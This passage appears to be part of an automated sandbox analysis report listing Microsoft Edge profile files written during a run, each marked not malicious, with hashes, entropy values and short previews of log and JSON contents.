Preview:	2024/11/18-07:29:18.173 8f0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/18-07:29:18.173 8f0 Recovering log #3.2024/11/18-07:29:18.174 8f0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.258138806211173
Encrypted:	false
SSDEEP:	12:h2YovBYebvqBQFUt86AHZ/+6o56YebvqBvJ:6BYebvZg8vS6Yebvk
MD5:	C17562262233AE0EDA5E5DEB1A5F8A18
SHA1:	4B03F20E508622A299C69E504CCB1874303943A1
SHA-256:	B63ABD97E6FC63E86F2F8B44E8885FF9FA6D41EA7D8A68201C05BD8EFE30E7C2
SHA-512:	6AA799BAACCDFFB1C3BC5DFE8955247B07E1EB2559BEA1283E86C3D0341ABC0E94A31A05B83668C0F6BA979356D29A746D82CCBB24611911D3D66FB386D9215A
Malicious:	false
Preview:	2024/11/18-07:29:19.064 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-07:29:19.065 11d8 Recovering log #3.2024/11/18-07:29:19.072 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.258138806211173
Encrypted:	false
SSDEEP:	12:h2YovBYebvqBQFUt86AHZ/+6o56YebvqBvJ:6BYebvZg8vS6Yebvk
MD5:	C17562262233AE0EDA5E5DEB1A5F8A18
SHA1:	4B03F20E508622A299C69E504CCB1874303943A1
SHA-256:	B63ABD97E6FC63E86F2F8B44E8885FF9FA6D41EA7D8A68201C05BD8EFE30E7C2
SHA-512:	6AA799BAACCDFFB1C3BC5DFE8955247B07E1EB2559BEA1283E86C3D0341ABC0E94A31A05B83668C0F6BA979356D29A746D82CCBB24611911D3D66FB386D9215A
Malicious:	false
Preview:	2024/11/18-07:29:19.064 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/18-07:29:19.065 11d8 Recovering log #3.2024/11/18-07:29:19.072 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\1701289b-8dcf-4982-b622-6dc8e3873a29.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5e1cb830-efe8-48bb-9e06-0422d8b38ae2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\6ab9e146-0119-467c-bb94-fca0994cef73.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8a964b5c-ed15-4512-bc25-49701dc5ac88.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\92d4dac7-5029-4a6c-9cc4-2d26ca54062e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2a89a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a49e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries~RF3cbcd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\f8a651c1-8025-4a02-a929-52f6cc24d50b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2707176601120285
Encrypted:	false
SSDEEP:	6:HUOscQ9+q2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8YUOscANJZmw+YUOsci/l39Vkt:1vBYebvqBZFUt8RX/+j56YebvqBaJ
MD5:	5CBD5143551213250A33767F9F1D6976
SHA1:	C5A38BAE187BEC211CA15ABDD9936BAFBAA1087F
SHA-256:	A2C3A3FBDF34F41EE743DEB03F7C714FC4E298E9109818A3E28BA1AC884B7F0B
SHA-512:	699328CD77D95ABE623834DF633334E204CF34405948BFEC752DDA662B6A053B2382CC99681E1DA6EA4C0A1CBA9D17234E8C23AB9056194EC47F61CBDC45F7FA
Malicious:	false
Preview:	2024/11/18-07:29:37.294 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-07:29:37.296 11d8 Recovering log #3.2024/11/18-07:29:37.300 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.2707176601120285
Encrypted:	false
SSDEEP:	6:HUOscQ9+q2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8YUOscANJZmw+YUOsci/l39Vkt:1vBYebvqBZFUt8RX/+j56YebvqBaJ
MD5:	5CBD5143551213250A33767F9F1D6976
SHA1:	C5A38BAE187BEC211CA15ABDD9936BAFBAA1087F
SHA-256:	A2C3A3FBDF34F41EE743DEB03F7C714FC4E298E9109818A3E28BA1AC884B7F0B
SHA-512:	699328CD77D95ABE623834DF633334E204CF34405948BFEC752DDA662B6A053B2382CC99681E1DA6EA4C0A1CBA9D17234E8C23AB9056194EC47F61CBDC45F7FA
Malicious:	false
Preview:	2024/11/18-07:29:37.294 11d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-07:29:37.296 11d8 Recovering log #3.2024/11/18-07:29:37.300 11d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.271509420307327
Encrypted:	false
SSDEEP:	6:HUOsKwMM+q2PCHhJ23oH+TcwtpIFUt8YUOsSZmw+YUOskwqMVkwOCHhJ23oH+TcM:1XM+vBYebmFUt82/+xqMV56YebaUJ
MD5:	6C218AFFF74B87E99F4AB1E27E2BED90
SHA1:	8D259E69A8ACB5B49830897C07A4C5706773E784
SHA-256:	10E5006100740D9BAEB20554589CD348FC7E36FB59B048575BBBA5BA0D393734
SHA-512:	0E8D2621DBACEFF73F0F42A05C13D3EAB7DF87B72A364A9AD8BE5476C8AEEBB95E694B8197F7D90483E89B8292A21EA4F3111C83C1701103D1E3338F9BF9903A
Malicious:	false
Preview:	2024/11/18-07:29:18.144 8fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-07:29:18.145 8fc Recovering log #3.2024/11/18-07:29:18.146 8fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.271509420307327
Encrypted:	false
SSDEEP:	6:HUOsKwMM+q2PCHhJ23oH+TcwtpIFUt8YUOsSZmw+YUOskwqMVkwOCHhJ23oH+TcM:1XM+vBYebmFUt82/+xqMV56YebaUJ
MD5:	6C218AFFF74B87E99F4AB1E27E2BED90
SHA1:	8D259E69A8ACB5B49830897C07A4C5706773E784
SHA-256:	10E5006100740D9BAEB20554589CD348FC7E36FB59B048575BBBA5BA0D393734
SHA-512:	0E8D2621DBACEFF73F0F42A05C13D3EAB7DF87B72A364A9AD8BE5476C8AEEBB95E694B8197F7D90483E89B8292A21EA4F3111C83C1701103D1E3338F9BF9903A
Malicious:	false
Preview:	2024/11/18-07:29:18.144 8fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-07:29:18.145 8fc Recovering log #3.2024/11/18-07:29:18.146 8fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264926456075556
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM2SAELyKOMq+8QTQKC+CVumx+:K0q+n0J29ELyKOMq+8Q7s+
MD5:	D0FBFF2D8D9B4BA743D6FA7AE32D7BFB
SHA1:	C8A049826B9D1CF284F246D91DC6B8A370140D0E
SHA-256:	F75575EDC332977BEA3D51CDC6F9B2521BFFB87F196FA1C6C19179C6082CC7B9
SHA-512:	98F204D65090396E67A1CD98FFFC11EDDDAA80C27F929CC37625B117125212F41AF50B552F23DE5FD639E7DDBFDF2385565811F52042B7DC8CD677CE9126FFDA
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46688486843743093
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0hC:v7doKsKuKZKlZNmu46yjx0Y
MD5:	E2E19FF7C674C76A9EDABAB7069F7372
SHA1:	03224BE7D4177FF8EC9603F12D2237BCF059F7A3
SHA-256:	5341786474FBEF0E8C659CA1EC6657AF0F4B463CAC43895AE60B1B8B5053E4A3
SHA-512:	8F64645422C41A29D5CE64976D17B0161B5F29CC68ED9CABB5EB8C14A4FECB9F847E02345DEFF993CF0FF197B705FA38CA83945110D20C4AB242CA2DE55AB285
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a773e096-9219-4f39-a7d0-b9f5bef4ba0d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561245954728823
Encrypted:	false
SSDEEP:	768:jQPYu27pLGLp68WPEGfU48F1+UoAYDCx9Tuqh0VfUC9xbog/OVeFZyLB+rwoNRTh:jQPYuWcp68WPEGfU4u1jaXFZaBboNRWE
MD5:	2E1A41A9FEE6591AE48A3A3753069C5B
SHA1:	8B2084C1F284B05394CABF52F837B18523F89ABD
SHA-256:	35C39E7079A468681D6A04279E36CF59C0218AFB411BBFFF5F69CD40FEB4E52A
SHA-512:	39EEF7460167C218AF68BDD1F7A6C8280EB5C48336C9A4DA35676B57A62102413C4363DE8F8A3586DB9632CEA25E17D38517087DECA82A1FCEA09FA936152769
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376406558037556","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376406558037556","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
